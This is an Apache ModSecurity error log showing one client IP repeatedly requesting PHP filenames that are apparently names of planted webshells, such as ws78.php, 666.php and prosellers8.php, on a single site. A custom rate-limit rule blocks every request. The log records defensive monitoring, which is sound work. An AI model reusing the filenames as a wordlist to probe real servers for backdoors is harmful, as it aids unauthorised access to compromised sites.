[Fri Apr 24 18:07:28.980009 2026] [:error] [pid 4177:tid 4196] [client 20.203.169.80:30735] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws78.php"] [unique_id "aetA4H2asKnvdrSe0x6r1QAAAYs"]
[Fri Apr 24 18:07:29.531960 2026] [:error] [pid 17719:tid 17745] [client 20.203.169.80:30771] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws78.php"] [unique_id "aetA4cTZ9gzEyL1BkPqIUgAAAJI"]
[Fri Apr 24 18:07:30.053140 2026] [:error] [pid 4177:tid 4192] [client 20.203.169.80:31121] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws78.php"] [unique_id "aetA4n2asKnvdrSe0x6r1wAAAYc"]
[Fri Apr 24 18:07:30.550525 2026] [:error] [pid 4177:tid 4198] [client 20.203.169.80:27315] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ws78.php"] [unique_id "aetA4n2asKnvdrSe0x6r2QAAAY0"]
[Fri Apr 24 18:07:31.029748 2026] [:error] [pid 4177:tid 4200] [client 20.203.169.80:27723] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/motu.php"] [unique_id "aetA432asKnvdrSe0x6r3QAAAY8"]
[Fri Apr 24 18:07:31.534451 2026] [:error] [pid 17719:tid 17734] [client 20.203.169.80:27713] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/motu.php"] [unique_id "aetA48TZ9gzEyL1BkPqIVAAAAIc"]
[Fri Apr 24 18:07:32.071684 2026] [:error] [pid 17808:tid 17815] [client 20.203.169.80:31143] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/motu.php"] [unique_id "aetA5OarbOEFI8qshvL9-wAAAEU"]
[Fri Apr 24 18:07:32.630371 2026] [:error] [pid 14531:tid 14540] [client 20.203.169.80:26578] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/motu.php"] [unique_id "aetA5HfLU2gw-6KR-GabgwAAAUc"]
[Fri Apr 24 18:07:33.118061 2026] [:error] [pid 4177:tid 4200] [client 20.203.169.80:31114] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aetA5X2asKnvdrSe0x6r6wAAAY8"]
[Fri Apr 24 18:07:33.617820 2026] [:error] [pid 4177:tid 4188] [client 20.203.169.80:34117] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aetA5X2asKnvdrSe0x6r8QAAAYM"]
[Fri Apr 24 18:07:34.108073 2026] [:error] [pid 4177:tid 4207] [client 20.203.169.80:34964] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aetA5n2asKnvdrSe0x6r9QAAAZY"]
[Fri Apr 24 18:07:34.596413 2026] [:error] [pid 4177:tid 4191] [client 20.203.169.80:34968] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/hplfuns.php"] [unique_id "aetA5n2asKnvdrSe0x6r9wAAAYY"]
[Fri Apr 24 18:07:35.136402 2026] [:error] [pid 4177:tid 4197] [client 20.203.169.80:26603] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xa.php"] [unique_id "aetA532asKnvdrSe0x6r_AAAAYw"]
[Fri Apr 24 18:07:35.704590 2026] [:error] [pid 14531:tid 14550] [client 20.203.169.80:30780] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xa.php"] [unique_id "aetA53fLU2gw-6KR-GabiAAAAVE"]
[Fri Apr 24 18:07:36.223366 2026] [:error] [pid 14531:tid 14537] [client 20.203.169.80:26563] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xa.php"] [unique_id "aetA6HfLU2gw-6KR-GabjAAAAUQ"]
[Fri Apr 24 18:07:36.736498 2026] [:error] [pid 14531:tid 14533] [client 20.203.169.80:34147] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xa.php"] [unique_id "aetA6HfLU2gw-6KR-GabjwAAAUA"]
[Fri Apr 24 18:07:37.288951 2026] [:error] [pid 4177:tid 4197] [client 20.203.169.80:34168] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/8573.php"] [unique_id "aetA6X2asKnvdrSe0x6sAgAAAYw"]
[Fri Apr 24 18:07:37.812969 2026] [:error] [pid 4177:tid 4187] [client 20.203.169.80:34123] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/8573.php"] [unique_id "aetA6X2asKnvdrSe0x6sAwAAAYI"]
[Fri Apr 24 18:07:38.331344 2026] [:error] [pid 17719:tid 17737] [client 20.203.169.80:27753] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/8573.php"] [unique_id "aetA6sTZ9gzEyL1BkPqIVgAAAIo"]
[Fri Apr 24 18:07:38.844087 2026] [:error] [pid 17721:tid 17792] [client 20.203.169.80:34170] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/8573.php"] [unique_id "aetA6uFXXkLeyDnfk_8V1AAAAAs"]
[Fri Apr 24 18:07:39.385639 2026] [:error] [pid 4177:tid 4201] [client 20.203.169.80:27310] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sadcut1.php"] [unique_id "aetA632asKnvdrSe0x6sDAAAAZA"]
[Fri Apr 24 18:07:39.895744 2026] [:error] [pid 14531:tid 14543] [client 20.203.169.80:26860] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sadcut1.php"] [unique_id "aetA63fLU2gw-6KR-GablgAAAUo"]
[Fri Apr 24 18:07:40.382616 2026] [:error] [pid 4177:tid 4193] [client 20.203.169.80:45129] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sadcut1.php"] [unique_id "aetA7H2asKnvdrSe0x6sDQAAAYg"]
[Fri Apr 24 18:07:40.865890 2026] [:error] [pid 22114:tid 22133] [client 20.203.169.80:27772] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/sadcut1.php"] [unique_id "aetA7IAuWGz3WlMQjofSbgAAARA"]
[Fri Apr 24 18:07:41.347469 2026] [:error] [pid 17720:tid 17768] [client 20.203.169.80:34973] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/666.php"] [unique_id "aetA7ehlUs6BS3Ng7_VehwAAAM4"]
[Fri Apr 24 18:07:41.823856 2026] [:error] [pid 17720:tid 17774] [client 20.203.169.80:26575] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/666.php"] [unique_id "aetA7ehlUs6BS3Ng7_VeigAAANQ"]
[Fri Apr 24 18:07:42.295963 2026] [:error] [pid 17721:tid 17791] [client 20.203.169.80:26602] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/666.php"] [unique_id "aetA7uFXXkLeyDnfk_8V2QAAAAo"]
[Fri Apr 24 18:07:42.775647 2026] [:error] [pid 17721:tid 17794] [client 20.203.169.80:26827] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/666.php"] [unique_id "aetA7uFXXkLeyDnfk_8V2wAAAA0"]
[Fri Apr 24 18:07:43.253560 2026] [:error] [pid 17721:tid 17790] [client 20.203.169.80:27300] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xwx1.php"] [unique_id "aetA7-FXXkLeyDnfk_8V3AAAAAk"]
[Fri Apr 24 18:07:43.748197 2026] [:error] [pid 22114:tid 22123] [client 20.203.169.80:35000] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xwx1.php"] [unique_id "aetA74AuWGz3WlMQjofScAAAAQY"]
[Fri Apr 24 18:07:44.262721 2026] [:error] [pid 17720:tid 17769] [client 20.203.169.80:28249] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xwx1.php"] [unique_id "aetA8OhlUs6BS3Ng7_VejwAAAM8"]
[Fri Apr 24 18:07:44.825843 2026] [:error] [pid 17719:tid 17729] [client 20.203.169.80:34966] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/xwx1.php"] [unique_id "aetA8MTZ9gzEyL1BkPqIWwAAAII"]
[Fri Apr 24 18:07:45.335432 2026] [:error] [pid 17721:tid 17783] [client 20.203.169.80:26594] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/prosellers8.php"] [unique_id "aetA8eFXXkLeyDnfk_8V4AAAAAI"]
[Fri Apr 24 18:07:45.836730 2026] [:error] [pid 17720:tid 17775] [client 20.203.169.80:30738] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/prosellers8.php"] [unique_id "aetA8ehlUs6BS3Ng7_VelAAAANU"]
[Fri Apr 24 18:07:46.349423 2026] [:error] [pid 17720:tid 17766] [client 20.203.169.80:5797] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/prosellers8.php"] [unique_id "aetA8uhlUs6BS3Ng7_VelwAAAMw"]
[Fri Apr 24 18:07:46.863349 2026] [:error] [pid 17720:tid 17762] [client 20.203.169.80:26820] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/prosellers8.php"] [unique_id "aetA8uhlUs6BS3Ng7_VemAAAAMg"]
[Fri Apr 24 18:07:47.421384 2026] [:error] [pid 17720:tid 17760] [client 20.203.169.80:26869] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/shop.php"] [unique_id "aetA8-hlUs6BS3Ng7_VenAAAAMY"]
[Fri Apr 24 18:07:47.933070 2026] [:error] [pid 17808:tid 17823] [client 20.203.169.80:27733] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/shop.php"] [unique_id "aetA8-arbOEFI8qshvL-BQAAAE0"]
[Fri Apr 24 18:07:48.507836 2026] [:error] [pid 14531:tid 14543] [client 20.203.169.80:26849] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/shop.php"] [unique_id "aetA9HfLU2gw-6KR-GabmgAAAUo"]
[Fri Apr 24 18:07:49.030039 2026] [:error] [pid 22114:tid 22130] [client 20.203.169.80:27731] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/shop.php"] [unique_id "aetA9YAuWGz3WlMQjofScgAAAQ0"]
[Fri Apr 24 18:07:49.591718 2026] [:error] [pid 17721:tid 17794] [client 20.203.169.80:27311] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ww.php"] [unique_id "aetA9eFXXkLeyDnfk_8V4gAAAA0"]
[Fri Apr 24 18:07:50.129182 2026] [:error] [pid 14531:tid 14553] [client 20.203.169.80:30755] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ww.php"] [unique_id "aetA9nfLU2gw-6KR-GabnAAAAVQ"]
[Fri Apr 24 18:07:50.684214 2026] [:error] [pid 4177:tid 4189] [client 20.203.169.80:31898] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ww.php"] [unique_id "aetA9n2asKnvdrSe0x6sGAAAAYQ"]
[Fri Apr 24 18:07:51.207901 2026] [:error] [pid 14531:tid 14541] [client 20.203.169.80:33759] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/ww.php"] [unique_id "aetA93fLU2gw-6KR-GabngAAAUg"]
[Fri Apr 24 18:07:51.738683 2026] [:error] [pid 17808:tid 17819] [client 20.203.169.80:35134] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fsjzs.php"] [unique_id "aetA9-arbOEFI8qshvL-CwAAAEk"]
[Fri Apr 24 18:07:52.258026 2026] [:error] [pid 17720:tid 17759] [client 20.203.169.80:35115] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fsjzs.php"] [unique_id "aetA-OhlUs6BS3Ng7_VeogAAAMU"]
[Fri Apr 24 18:07:52.797417 2026] [:error] [pid 14531:tid 14555] [client 20.203.169.80:35114] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fsjzs.php"] [unique_id "aetA-HfLU2gw-6KR-GabowAAAVY"]
[Fri Apr 24 18:07:53.282357 2026] [:error] [pid 22114:tid 22135] [client 20.203.169.80:30724] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/fsjzs.php"] [unique_id "aetA-YAuWGz3WlMQjofSdAAAARI"]
[Fri Apr 24 18:07:53.841202 2026] [:error] [pid 17721:tid 17783] [client 20.203.169.80:34147] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cwclass.php"] [unique_id "aetA-eFXXkLeyDnfk_8V5QAAAAI"]
[Fri Apr 24 18:07:54.373773 2026] [:error] [pid 17720:tid 17771] [client 20.203.169.80:35127] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cwclass.php"] [unique_id "aetA-uhlUs6BS3Ng7_VepQAAANE"]
[Fri Apr 24 18:07:54.898290 2026] [:error] [pid 14531:tid 14543] [client 20.203.169.80:34991] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cwclass.php"] [unique_id "aetA-nfLU2gw-6KR-GabrQAAAUo"]
[Fri Apr 24 18:07:55.419375 2026] [:error] [pid 4177:tid 4198] [client 20.203.169.80:28278] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/cwclass.php"] [unique_id "aetA-32asKnvdrSe0x6sIAAAAY0"]
[Fri Apr 24 18:07:55.947342 2026] [:error] [pid 4177:tid 4200] [client 20.203.169.80:28271] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/edit-tags.php"] [unique_id "aetA-32asKnvdrSe0x6sIwAAAY8"]
[Fri Apr 24 18:07:56.467575 2026] [:error] [pid 4177:tid 4188] [client 20.203.169.80:48468] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/edit-tags.php"] [unique_id "aetA_H2asKnvdrSe0x6sKQAAAYM"]
[Fri Apr 24 18:07:56.978537 2026] [:error] [pid 17808:tid 17825] [client 20.203.169.80:26844] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/edit-tags.php"] [unique_id "aetA_OarbOEFI8qshvL-FAAAAE8"]
[Fri Apr 24 18:07:57.572453 2026] [:error] [pid 17808:tid 17826] [client 20.203.169.80:31934] [client 20.203.169.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.gigfragments.org"] [uri "/edit-tags.php"] [unique_id "aetA_earbOEFI8qshvL-GgAAAFA"]
